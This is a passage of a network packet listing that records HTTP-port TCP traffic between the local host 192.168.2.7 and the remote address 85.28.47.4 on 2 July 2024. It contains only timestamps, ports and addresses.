Jul 2, 2024 12:21:05.418184042 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.418186903 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.418200016 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.418217897 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.418221951 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.418248892 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.418256044 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.418283939 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.418298006 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.418332100 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.418334961 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.418375015 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.418386936 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.418423891 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.418437004 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.418459892 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.418469906 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.418493032 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.418498993 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.418520927 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.418530941 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.418549061 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.418562889 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.418595076 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.418601990 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.418626070 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.418639898 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.418658018 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.418665886 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.418689966 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.418723106 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.418746948 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.418756008 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.418776035 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.418802023 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.503349066 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.503390074 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.503407001 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.503424883 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.503433943 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.503477097 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.503477097 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.503509045 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.503540993 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.503549099 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.503581047 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.503591061 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.503623009 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.503655910 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.503679991 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.503688097 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.503694057 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.503720999 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.503731012 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.503787041 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.503799915 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.503818035 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.503820896 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.503850937 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.503854036 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.503882885 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.503886938 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.503916025 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.503918886 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.503950119 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.503964901 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.503997087 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.503999949 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.504028082 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.504030943 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.504060030 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.504064083 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.504093885 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.504096031 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.504128933 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.504208088 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.504290104 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.504321098 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.504326105 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.504358053 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.504369974 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.504401922 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.504406929 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.504434109 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.504436970 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.504466057 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.504467964 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.504502058 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.504530907 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.504561901 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.504566908 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.504594088 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.504616976 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.504626036 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.504636049 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.504658937 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.504686117 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.504703045 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.504750967 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.504786015 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.504789114 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.504800081 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.504822969 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.504832029 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.504842043 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.504865885 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.504893064 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.504898071 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.504909992 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.504929066 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.504935026 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.504961014 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.504992962 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.504997015 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.505023956 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.505027056 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.505059958 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.505073071 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.505105019 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.505136013 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.505142927 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.505167007 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.505173922 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.505203962 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.505213022 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.505245924 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.505251884 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.505283117 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.505284071 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.505315065 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.505319118 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.505346060 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.505350113 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.505378008 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.505378962 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.505413055 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.505484104 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.505516052 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.505523920 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.505548000 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.505575895 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.505580902 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.505614042 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.505625963 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.505662918 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.505675077 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.505706072 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.505711079 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.505738974 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.505739927 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.505769968 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.505774975 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.505803108 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.505805016 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.505837917 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.505863905 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.505896091 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.505898952 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.505928040 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.505930901 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.505959034 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.505965948 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.505995989 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.505999088 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.506048918 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.506056070 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.506088972 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.506091118 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.506119967 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.506124973 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.506151915 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.506175041 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.506194115 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.506206989 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.506242037 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.506247997 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.506273985 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.506278992 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.506305933 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.506314039 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.506336927 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.506341934 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.506369114 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.506376982 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.506401062 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.506433010 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.506438017 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.506469011 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.506480932 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.506586075 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.506617069 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.506623030 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.506649017 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.506652117 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.506680965 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.506684065 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.506712914 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.506715059 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.506745100 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.506747961 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.506776094 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.506783962 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.506808043 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.506813049 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.506839991 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.506843090 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.506887913 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.506920099 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.506926060 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.506952047 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.506958008 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.506989002 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.506999969 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.507031918 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.507035971 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.507062912 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.507066965 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.507095098 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.507097960 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.507132053 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.507142067 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.507174015 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.507179976 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.507208109 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.507209063 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.507240057 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.507244110 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.507271051 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.507277966 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.507302999 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.507307053 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.507334948 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.507339001 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.507365942 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.507375002 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.507397890 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.507428885 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.507432938 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.507467031 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.507477999 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.507508993 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.507540941 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.507545948 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.507571936 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.507579088 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.507605076 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.507622004 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.507636070 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.507663012 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.507675886 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.507679939 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.507714987 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.601495981 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.601520061 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.601533890 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.601540089 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.601543903 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.601548910 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.601545095 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.601552963 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.601583004 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.601620913 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.601643085 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.601655960 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.601666927 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.601671934 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.601676941 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.601687908 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.601697922 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.601700068 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.601708889 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.601721048 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.601732016 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.601737022 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.601748943 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.601764917 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.601950884 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.601962090 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.601972103 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.601993084 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.602019072 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.602051020 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.602070093 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.602080107 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.602092028 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.602101088 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.602103949 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.602111101 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.602127075 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.602135897 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.602160931 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.602437019 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.602447987 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.602457047 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.602467060 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.602477074 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.602480888 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.602492094 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.602513075 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.602540016 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.602579117 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.602591038 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.602602005 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.602612019 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.602622032 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.602626085 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.602632046 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.602648020 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.602649927 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.602658033 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.602669001 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.602677107 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.602679014 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.602689028 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.602691889 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.602699995 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.602710962 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.602721930 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.602721930 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.602768898 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.603255033 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.603267908 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.603277922 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.603295088 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.603300095 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.603305101 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.603316069 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.603328943 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.603331089 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.603341103 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.603344917 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.603352070 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.603362083 CEST	80	49699	85.28.47.4	192.168.2.7
